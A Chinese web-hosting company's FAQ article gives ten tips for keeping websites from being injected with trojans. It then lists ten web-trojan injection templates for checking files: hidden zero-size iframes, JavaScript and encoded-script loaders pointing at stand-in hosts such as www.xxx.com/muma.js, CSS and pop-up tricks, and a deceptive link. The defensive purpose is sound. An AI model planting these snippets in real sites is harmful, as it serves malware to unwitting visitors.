歡迎您來(lái)到禾城數(shù)碼，開始互聯(lián)網(wǎng)之旅！
- 禾城數(shù)碼首頁(yè)
- 常見問(wèn)題
- 詳細(xì)頁(yè)
- [原創(chuàng)]怎樣讓網(wǎng)站避免被掛馬
[原創(chuàng)]怎樣讓網(wǎng)站避免被掛馬
1、建議通過(guò)FTP來(lái)上傳和維護(hù)網(wǎng)頁(yè)，盡量不安裝ASP的上傳程序。 2、對(duì)ASP上傳程序的調(diào)用一定要進(jìn)行身份認(rèn)證，并設(shè)置只允許信任的人使用上傳程序。 3、ASP程序管理員的用戶名和密碼不能是弱密碼并且要定期更換。 4、到正規(guī)網(wǎng)站下載ASP程序，下載后修改數(shù)據(jù)庫(kù)名稱和存放路徑，數(shù)據(jù)庫(kù)的文件名稱也要相對(duì)難些。 5、盡量保持程序是最新版本。 6、網(wǎng)頁(yè)不加注后臺(tái)管理程序登陸頁(yè)面鏈接。 7、維護(hù)后刪除后臺(tái)管理程序的登陸頁(yè)面，下次維護(hù)時(shí)再通過(guò)FTP上傳。 8、要定期備份數(shù)據(jù)庫(kù)等重要文件。 9、平時(shí)要多維護(hù)并注意空間中是否有來(lái)歷不明的ASP文件。 10、發(fā)現(xiàn)被入侵時(shí)，除非能識(shí)別出所有木馬文件，不然最好刪除所有文件。 重新上傳文件前，所有ASP程序用戶名和密碼都要重置，并且重新修改程序數(shù)據(jù)庫(kù)名稱和存放路徑以及后臺(tái)管理程序的路徑。 做好防范措施網(wǎng)站就會(huì)相對(duì)比較安全，但也不能疏忽大意，因?yàn)槿肭峙c反入侵是一場(chǎng)持久戰(zhàn)。 掛馬代碼大全（檢查文件是否被掛馬時(shí)可參考） 一、框架掛馬 <iframe src=地址 width=0 height=0></iframe> 二、JS文件掛馬 首先將以下代碼 document.write(“<iframe width=’0′ height=’0′ src=’地址’></iframe>”); 保存為xxx.js， 則JS掛馬代碼為 <ｓｃｒｉｐｔ language=javaｓｃｒｉｐｔ src=xxx.js></ｓｃｒｉｐｔ> 三、JS變形加密 <ｓｃｒｉｐｔ language=”Jｓｃｒｉｐｔ.Encode” src=http://www.xxx.com/muma.txt></ｓｃｒｉｐｔ> muma.txt可改成任意后綴 四、Body掛馬 <body ></body> 五、隱蔽掛馬 top.document.body.innerHTML = top.document.body.innerHTML + ‘rn<iframe src=”http://www.xxx.com/muma.htm/”></iframe>’; 六、CSS掛馬 body { background-image: url(‘javaｓｃｒｉｐｔ:document.write(“<ｓｃｒｉｐｔ src=http://www.XXX.net/muma.js></ｓｃｒｉｐｔ>”)’)} 七、JAJA掛馬 <ｓｃｒｉｐｔ language=javaｓｃｒｉｐｔ> window.open (“地址”,”",”toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1″); </ｓｃｒｉｐｔ> 八、圖片偽裝 <html> <iframe src=”網(wǎng)馬地址” height=0 width=0></iframe> <img src=”圖片地址”></center> </html> 九、偽裝調(diào)用： <frameset rows=”444,0″ cols=”*”> <frame src=”打開網(wǎng)頁(yè)” framborder=”no” scrolling=”auto” noresize marginwidth=”0″margingheight=”0″> <frame src=”網(wǎng)馬地址” frameborder=”no” scrolling=”no” noresize marginwidth=”0″margingheight=”0″> </frameset> 十、高級(jí)欺騙 <a href=”http://www.163.com(迷惑連接地址，顯示這個(gè)地址指向木馬地址)” > 頁(yè)面要顯示的內(nèi)容 </a> <ｓｃｒｉｐｔ Language=”Javaｓｃｒｉｐｔ”> function www_163_com () { var url=”網(wǎng)馬地址”; open(url,”NewWindow”,”toolbar=no,location=no,directories=no, status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10″); } </ｓｃｒｉｐｔ>
|
|||
| >> 相關(guān)文章 | |||
|
|||
返回首頁(yè)
|
關(guān)于我們
|
聯(lián)系我們
|
付款方式
|
價(jià)格總覽
|
提交工單
|
投訴建議
|
網(wǎng)站備案
|
XML地圖
©2002-
禾城數(shù)碼 版權(quán)所有 虛擬主機(jī)服務(wù)商|虛擬主機(jī)品牌|5星空間
浙ICP備2022026561號(hào)-1 
浙公網(wǎng)安備 33048302000166號(hào)
電話總機(jī)：0573-80897175
